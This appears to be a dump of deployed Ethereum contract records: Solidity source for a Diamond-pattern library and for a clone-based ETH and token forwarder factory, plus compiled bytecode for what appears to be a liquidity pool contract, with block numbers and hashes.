diamondStorage().contractOwner;\n }\n\n function enforceIsContractOwner() internal view {\n require(msg.sender == diamondStorage().contractOwner, \"LibDiamond: Must be contract owner\");\n }\n\n event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata);\n\n // Internal function version of diamondCut\n function diamondCut(IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata) internal {\n for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) {\n IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action;\n if (action == IDiamondCut.FacetCutAction.Add) {\n addFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors);\n } else if (action == IDiamondCut.FacetCutAction.Replace) {\n replaceFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors);\n } else if (action == IDiamondCut.FacetCutAction.Remove) {\n removeFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors);\n } else {\n revert(\"LibDiamondCut: Incorrect FacetCutAction\");\n }\n }\n emit DiamondCut(_diamondCut, _init, _calldata);\n initializeDiamondCut(_init, _calldata);\n }\n\n function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal {\n require(_functionSelectors.length > 0, \"LibDiamondCut: No selectors in facet to cut\");\n DiamondStorage storage ds = diamondStorage();\n require(_facetAddress != address(0), \"LibDiamondCut: Add facet can't be address(0)\");\n uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length);\n // add new facet address if it does not exist\n if (selectorPosition == 0) {\n addFacet(ds, _facetAddress);\n }\n for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress;\n require(oldFacetAddress == address(0), \"LibDiamondCut: Can't add function that already exists\");\n addFunction(ds, selector, selectorPosition, _facetAddress);\n selectorPosition++;\n }\n }\n\n function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal {\n require(_functionSelectors.length > 0, \"LibDiamondCut: No selectors in facet to cut\");\n DiamondStorage storage ds = diamondStorage();\n require(_facetAddress != address(0), \"LibDiamondCut: Add facet can't be address(0)\");\n uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length);\n // add new facet address if it does not exist\n if (selectorPosition == 0) {\n addFacet(ds, _facetAddress);\n }\n for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress;\n require(oldFacetAddress != _facetAddress, \"LibDiamondCut: Can't replace function with same function\");\n removeFunction(ds, oldFacetAddress, selector);\n addFunction(ds, selector, selectorPosition, _facetAddress);\n selectorPosition++;\n }\n }\n\n function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal {\n require(_functionSelectors.length > 0, \"LibDiamondCut: No selectors in facet to cut\");\n DiamondStorage storage ds = diamondStorage();\n // if function does not exist then do nothing and return\n require(_facetAddress == address(0), \"LibDiamondCut: Remove facet address must be address(0)\");\n for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress;\n removeFunction(ds, oldFacetAddress, selector);\n }\n }\n\n function addFacet(DiamondStorage storage ds, address _facetAddress) internal {\n enforceHasContractCode(_facetAddress, \"LibDiamondCut: New facet has no code\");\n ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds.facetAddresses.length;\n ds.facetAddresses.push(_facetAddress);\n }\n\n function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) internal {\n ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = _selectorPosition;\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(_selector);\n ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress;\n }\n\n function removeFunction(DiamondStorage storage ds, address _facetAddress, bytes4 _selector) internal {\n require(_facetAddress != address(0), \"LibDiamondCut: Can't remove function that doesn't exist\");\n // an immutable function is a function defined directly in a diamond\n require(_facetAddress != address(this), \"LibDiamondCut: Can't remove immutable function\");\n // replace selector with last selector, then delete last selector\n uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition;\n uint256 lastSelectorPosition = ds.facetFunctionSelectors[_facetAddress].functionSelectors.length - 1;\n // if not the same then replace _selector with lastSelector\n if (selectorPosition != lastSelectorPosition) {\n bytes4 lastSelector = ds.facetFunctionSelectors[_facetAddress].functionSelectors[lastSelectorPosition];\n ds.facetFunctionSelectors[_facetAddress].functionSelectors[selectorPosition] = lastSelector;\n ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint96(selectorPosition);\n }\n // delete the last selector\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop();\n delete ds.selectorToFacetAndPosition[_selector];\n\n // if no more selectors for facet address then delete the facet address\n if (lastSelectorPosition == 0) {\n // replace facet address with last facet address and delete last facet address\n uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1;\n uint256 facetAddressPosition = ds.facetFunctionSelectors[_facetAddress].facetAddressPosition;\n if (facetAddressPosition != lastFacetAddressPosition) {\n address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition];\n ds.facetAddresses[facetAddressPosition] = lastFacetAddress;\n ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = facetAddressPosition;\n }\n ds.facetAddresses.pop();\n delete ds.facetFunctionSelectors[_facetAddress].facetAddressPosition;\n }\n }\n\n function initializeDiamondCut(address _init, bytes memory _calldata) internal {\n if (_init == address(0)) {\n return;\n }\n enforceHasContractCode(_init, \"LibDiamondCut: _init address has no code\");\n (bool success, bytes memory error) = _init.delegatecall(_calldata);\n if (!success) {\n if (error.length > 0) {\n // bubble up error\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(error)\n revert(add(32, error), returndata_size)\n }\n } else {\n revert InitializationFunctionReverted(_init, _calldata);\n }\n }\n }\n\n function enforceHasContractCode(address _contract, string memory _errorMessage) internal view {\n uint256 contractSize;\n assembly {\n contractSize := extcodesize(_contract)\n }\n require(contractSize > 0, _errorMessage);\n }\n}\n" } } }}
1
19,493,266
41fd50e114f46a8574f69d225c51a3a7f6d4c35928934afc427f712f5a0a6f47
69b42ba998d86dce351ac62232ac8e782e9b3c2ed1a97b8f8bc5e8c87b111bab
00bdb5699745f5b860228c8f939abf1b9ae374ed
ffa397285ce46fb78c588a9e993286aac68c37cd
ffae75f2722768c34844afe4bcf84f472426b241
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,266
41fd50e114f46a8574f69d225c51a3a7f6d4c35928934afc427f712f5a0a6f47
ac8a3462840195b980b5fb61f7f5218faef95d2e2a3de5caabb0163f29bf9bd8
15bd2aa5d34727f72d17636b055b62299486fe1a
1f98431c8ad98523631ae4a59f267346ea31f984
358e0dec959085f62e4d4602a4d3c66c0e96f07d
6101606040523480156200001257600080fd5b503060601b60805260408051630890357360e41b81529051600091339163890357309160048082019260a092909190829003018186803b1580156200005657600080fd5b505afa1580156200006b573d6000803e3d6000fd5b505050506040513d60a08110156200008257600080fd5b508051602080830151604084015160608086015160809096015160e896871b6001600160e81b0319166101005291811b6001600160601b031990811660e05292811b831660c0529390931b1660a052600282810b900b90921b610120529150620000f79082906200010f811b62002b8417901c565b60801b6001600160801b03191661014052506200017d565b60008082600281900b620d89e719816200012557fe5b05029050600083600281900b620d89e8816200013d57fe5b0502905060008460020b83830360020b816200015557fe5b0560010190508062ffffff166001600160801b038016816200017357fe5b0495945050505050565b60805160601c60a05160601c60c05160601c60e05160601c6101005160e81c6101205160e81c6101405160801c61567e6200024a60003980611fee5280614b5f5280614b96525080610c0052806128fd5280614bca5280614bfc525080610cef52806119cb5280611a0252806129455250806111c75280611a855280611ef4528061244452806129215280613e6b5250806108d252806112f55280611a545280611e8e52806123be5280613d2252508061207b528061227d52806128d9525080612bfb525061567e6000f3fe608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370cf754a116100ee578063c45a015511610097578063ddca3f4311610071578063ddca3f4314610800578063f305839914610820578063f30dba9314610828578063f637731d146108aa576101ae565b8063c45a0155146107d1578063d0c93a7c146107d9578063d21220a7146107f8576101ae565b8063883bdbfd116100c8578063883bdbfd14610633578063a34123a71461073c578063a38807f214610776576101ae565b806370cf754a146105c65780638206a4d1146105ce57806385b66729146105f6576101ae565b80633850c7bd1161015b578063490e6cbc11610135578063490e6cbc146104705780634f1eb3d8146104fc578063514ea4bf1461054d5780635339c296146105a6576101ae565b80633850c7bd1461035b5780633c8a7d8d146103b45780634614131914610456576101ae565b80631ad8b03b1161018c5780631ad8b03b146102aa578063252c09d7146102e157806332148f6714610338576101ae565b80630dfe1681146101b3578063128acb08146101d75780631a68650214610286575b600080fd5b6101bb6108d0565b604080516001600160a01b039092168252519081900360200190f35b61026d600480360360a08110156101ed57600080fd5b6001600160a01b0382358116926020810135151592604082013592606083013516919081019060a08101608082013564010000000081111561022e57600080fd5b82018360208201111561024057600080fd5b8035906020019184600183028401116401000000008311171561026257600080fd5b5090925090506108f4565b6040805192835260208301919091528051918290030190f35b61028e6114ad565b604080516001600160801b039092168252519081900360200190f35b6102b26114bc565b60405180836001600160801b03168152602001826001600160801b031681526020019250505060405180910390f35b6102fe600480360360208110156102f757600080fd5b50356114d6565b6040805163ffffffff909516855260069390930b60208501526001600160a01b039091168383015215156060830152519081900360800190f35b6103596004803603602081101561034e57600080fd5b503561ffff1661151c565b005b610363611616565b604080516001600160a01b03909816885260029690960b602088015261ffff9485168787015292841660608701529216608085015260ff90911660a0840152151560c0830152519081900360e00190f35b61026d600480360360a08110156103ca57600080fd5b6001600160a01b03823516916020810135600290810b92604083013590910b916001600160801b036060820135169181019060a08101608082013564010000000081111561041757600080fd5b82018360208201111561042957600080fd5b8035906020019184600183028401116401000000008311171561044b57600080fd5b509092509050611666565b61045e611922565b60408051918252519081900360200190f35b6103596004803603608081101561048657600080fd5b6001600160a01b0382351691602081013591604082013591908101906080810160608201356401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b509092509050611928565b6102b2600480360360a081101561051257600080fd5b506001600160a01b03813516906020810135600290810b91604081013590910b906001600160801b0360608201358116916080013516611d83565b61056a6004803603602081101561056357600080fd5b5035611f9d565b604080516001600160801b0396871681526020810195909552848101939093529084166060840152909216608082015290519081900360a00190f35b61045e600480360360208110156105bc57600080fd5b503560010b611fda565b61028e611fec565b610359600480360360408110156105e457600080fd5b5060ff81358116916020013516612010565b6102b26004803603606081101561060c57600080fd5b506001600160a01b03813516906001600160801b036020820135811691604001351661220f565b6106a36004803603602081101561064957600080fd5b81019060208101813564010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b5090925090506124dc565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156106e75781810151838201526020016106cf565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561072657818101518382015260200161070e565b5050505090500194505050505060405180910390f35b61026d6004803603606081101561075257600080fd5b508035600290810b91602081013590910b90604001356001600160801b0316612569565b6107a06004803603604081101561078c57600080fd5b508035600290810b9160200135900b6126e0565b6040805160069490940b84526001600160a01b03909216602084015263ffffffff1682820152519081900360600190f35b6101bb6128d7565b6107e16128fb565b6040805160029290920b8252519081900360200190f35b6101bb61291f565b610808612943565b6040805162ffffff9092168252519081900360200190f35b61045e612967565b6108486004803603602081101561083e57600080fd5b503560020b61296d565b604080516001600160801b039099168952600f9790970b602089015287870195909552606087019390935260069190910b60808601526001600160a01b031660a085015263ffffffff1660c0840152151560e083015251908190036101000190f35b610359600480360360208110156108c057600080fd5b50356001600160a01b03166129db565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806108ff612bf0565b85610936576040805162461bcd60e51b8152602060048201526002602482015261415360f01b604482015290519081900360640190fd5b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602083015261ffff600160b81b8204811693830193909352600160c81b810483166060830152600160d81b8104909216608082015260ff600160e81b8304811660a0830152600160f01b909204909116151560c082018190526109ef576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b87610a3a5780600001516001600160a01b0316866001600160a01b0316118015610a35575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038716105b610a6c565b80600001516001600160a01b0316866001600160a01b0316108015610a6c57506401000276a36001600160a01b038716115b610aa3576040805162461bcd60e51b815260206004820152600360248201526214d41360ea1b604482015290519081900360640190fd5b6000805460ff60f01b191681556040805160c08101909152808a610ad25760048460a0015160ff16901c610ae5565b60108460a0015160ff1681610ae357fe5b065b60ff1681526004546001600160801b03166020820152604001610b06612c27565b63ffffffff168152602001600060060b815260200160006001600160a01b031681526020016000151581525090506000808913905060006040518060e001604052808b81526020016000815260200185600001516001600160a01b03168152602001856020015160020b81526020018c610b8257600254610b86565b6001545b815260200160006001600160801b0316815260200184602001516001600160801b031681525090505b805115801590610bd55750886001600160a01b031681604001516001600160a01b031614155b15610f9f57610be261560e565b60408201516001600160a01b031681526060820151610c25906006907f00000000000000000000000000000000000000000000000000000000000000008f612c2b565b15156040830152600290810b810b60208301819052620d89e719910b1215610c5657620d89e7196020820152610c75565b6020810151620d89e860029190910b1315610c7557620d89e860208201525b610c828160200151612d6d565b6001600160a01b031660608201526040820151610d13908d610cbc578b6001600160a01b031683606001516001600160a01b031611610cd6565b8b6001600160a01b031683606001516001600160a01b0316105b610ce4578260600151610ce6565b8b5b60c085015185517f000000000000000000000000000000000000000000000000000000000000000061309f565b60c085015260a084015260808301526001600160a01b031660408301528215610d7557610d498160c00151826080015101613291565b825103825260a0810151610d6b90610d6090613291565b6020840151906132a7565b6020830152610db0565b610d828160a00151613291565b825101825260c08101516080820151610daa91610d9f9101613291565b6020840151906132c3565b60208301525b835160ff1615610df6576000846000015160ff168260c0015181610dd057fe5b60c0840180519290910491829003905260a0840180519091016001600160801b03169052505b60c08201516001600160801b031615610e3557610e298160c00151600160801b8460c001516001600160801b03166132d9565b60808301805190910190525b80606001516001600160a01b031682604001516001600160a01b03161415610f5e57806040015115610f35578360a00151610ebf57610e9d846040015160008760200151886040015188602001518a606001516008613389909695949392919063ffffffff16565b6001600160a01b03166080860152600690810b900b6060850152600160a08501525b6000610f0b82602001518e610ed657600154610edc565b84608001515b8f610eeb578560800151610eef565b6002545b608089015160608a015160408b0151600595949392919061351c565b90508c15610f17576000035b610f258360c00151826135ef565b6001600160801b031660c0840152505b8b610f44578060200151610f4d565b60018160200151035b600290810b900b6060830152610f99565b80600001516001600160a01b031682604001516001600160a01b031614610f9957610f8c82604001516136a5565b600290810b900b60608301525b50610baf565b836020015160020b816060015160020b1461107a57600080610fed86604001518660400151886020015188602001518a606001518b6080015160086139d1909695949392919063ffffffff16565b604085015160608601516000805461ffff60c81b1916600160c81b61ffff958616021761ffff60b81b1916600160b81b95909416949094029290921762ffffff60a01b1916600160a01b62ffffff60029490940b93909316929092029190911773ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116179055506110ac9050565b60408101516000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169190911790555b8060c001516001600160801b031683602001516001600160801b0316146110f25760c0810151600480546001600160801b0319166001600160801b039092169190911790555b8a1561114257608081015160015560a08101516001600160801b03161561113d5760a0810151600380546001600160801b031981166001600160801b03918216909301169190911790555b611188565b608081015160025560a08101516001600160801b0316156111885760a0810151600380546001600160801b03808216600160801b92839004821690940116029190911790555b8115158b1515146111a157602081015181518b036111ae565b80600001518a0381602001515b90965094508a156112e75760008512156111f0576111f07f00000000000000000000000000000000000000000000000000000000000000008d87600003613b86565b60006111fa613cd4565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b5050505061129e613cd4565b6112a88289613e0d565b11156112e1576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b50611411565b600086121561131e5761131e7f00000000000000000000000000000000000000000000000000000000000000008d88600003613b86565b6000611328613e1d565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b505050506113cc613e1d565b6113d68288613e0d565b111561140f576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b505b60408082015160c083015160608085015184518b8152602081018b90526001600160a01b03948516818701526001600160801b039093169183019190915260020b60808201529151908e169133917fc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca679181900360a00190a350506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b6004546001600160801b031681565b6003546001600160801b0380821691600160801b90041682565b60088161ffff81106114e757600080fd5b015463ffffffff81169150640100000000810460060b90600160581b81046001600160a01b031690600160f81b900460ff1684565b600054600160f01b900460ff16611560576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611575612bf0565b60008054600160d81b900461ffff169061159160088385613eb5565b6000805461ffff808416600160d81b810261ffff60d81b19909316929092179092559192508316146115fe576040805161ffff80851682528316602082015281517fac49e518f90a358f652e4400164f05a5d8f7e35e7747279bc3a93dbf584e125a929181900390910190a15b50506000805460ff60f01b1916600160f01b17905550565b6000546001600160a01b03811690600160a01b810460020b9061ffff600160b81b8204811691600160c81b8104821691600160d81b8204169060ff600160e81b8204811691600160f01b90041687565b600080548190600160f01b900460ff166116ad576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b191690556001600160801b0385166116cd57600080fd5b60008061171b60405180608001604052808c6001600160a01b031681526020018b60020b81526020018a60020b81526020016117118a6001600160801b0316613f58565b600f0b9052613f69565b9250925050819350809250600080600086111561173d5761173a613cd4565b91505b841561174e5761174b613e1d565b90505b336001600160a01b031663d348799787878b8b6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050600086111561183b576117f9613cd4565b6118038388613e0d565b111561183b576040805162461bcd60e51b815260206004820152600260248201526104d360f41b604482015290519081900360640190fd5b841561188b57611849613e1d565b6118538287613e0d565b111561188b576040805162461bcd60e51b81526020600482015260026024820152614d3160f01b604482015290519081900360640190fd5b8960020b8b60020b8d6001600160a01b03167f7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde338d8b8b60405180856001600160a01b03168152602001846001600160801b0316815260200183815260200182815260200194505050505060405180910390a450506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b60025481565b600054600160f01b900460ff1661196c576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611981612bf0565b6004546001600160801b0316806119c3576040805162461bcd60e51b81526020600482015260016024820152601360fa1b604482015290519081900360640190fd5b60006119f8867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a2f867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a3b613cd4565b90506000611a47613e1d565b90508815611a7a57611a7a7f00000000000000000000000000000000000000000000000000000000000000008b8b613b86565b8715611aab57611aab7f00000000000000000000000000000000000000000000000000000000000000008b8a613b86565b336001600160a01b031663e9cbafb085858a8a6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506000611b4f613cd4565b90506000611b5b613e1d565b905081611b688588613e0d565b1115611ba0576040805162461bcd60e51b8152602060048201526002602482015261046360f41b604482015290519081900360640190fd5b80611bab8487613e0d565b1115611be3576040805162461bcd60e51b8152602060048201526002602482015261463160f01b604482015290519081900360640190fd5b8382038382038115611c725760008054600160e81b9004600f16908115611c16578160ff168481611c1057fe5b04611c19565b60005b90506001600160801b03811615611c4c57600380546001600160801b038082168401166001600160801b03199091161790555b611c66818503600160801b8d6001600160801b03166132d9565b60018054909101905550505b8015611cfd5760008054600160e81b900460041c600f16908115611ca2578160ff168381611c9c57fe5b04611ca5565b60005b90506001600160801b03811615611cd757600380546001600160801b03600160801b8083048216850182160291161790555b611cf1818403600160801b8d6001600160801b03166132d9565b60028054909101905550505b8d6001600160a01b0316336001600160a01b03167fbdbdb71d7860376ba52b25a5028beea23581364a40522f6bcfb86bb1f2dca6338f8f86866040518085815260200184815260200183815260200182815260200194505050505060405180910390a350506000805460ff60f01b1916600160f01b179055505050505050505050505050565b600080548190600160f01b900460ff16611dca576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19168155611de460073389896141e3565b60038101549091506001600160801b0390811690861611611e055784611e14565b60038101546001600160801b03165b60038201549093506001600160801b03600160801b909104811690851611611e3c5783611e52565b6003810154600160801b90046001600160801b03165b91506001600160801b03831615611eb7576003810180546001600160801b031981166001600160801b03918216869003821617909155611eb7907f0000000000000000000000000000000000000000000000000000000000000000908a908616613b86565b6001600160801b03821615611f1d576003810180546001600160801b03600160801b808304821686900382160291811691909117909155611f1d907f0000000000000000000000000000000000000000000000000000000000000000908a908516613b86565b604080516001600160a01b038a1681526001600160801b0380861660208301528416818301529051600288810b92908a900b9133917f70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0919081900360600190a4506000805460ff60f01b1916600160f01b17905590969095509350505050565b60076020526000908152604090208054600182015460028301546003909301546001600160801b0392831693919281811691600160801b90041685565b60066020526000908152604090205481565b7f000000000000000000000000000000000000000000000000000000000000000081565b600054600160f01b900460ff16612054576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156120c157600080fd5b505afa1580156120d5573d6000803e3d6000fd5b505050506040513d60208110156120eb57600080fd5b50516001600160a01b0316331461210157600080fd5b60ff82161580612124575060048260ff16101580156121245750600a8260ff1611155b801561214e575060ff8116158061214e575060048160ff161015801561214e5750600a8160ff1611155b61215757600080fd5b60008054610ff0600484901b16840160ff908116600160e81b9081027fffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841617909355919004167f973d8d92bb299f4af6ce49b52a8adb85ae46b9f214c4c4fc06ac77401237b1336010826040805160ff9390920683168252600f600486901c16602083015286831682820152918516606082015290519081900360800190a150506000805460ff60f01b1916600160f01b17905550565b600080548190600160f01b900460ff16612256576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156122c357600080f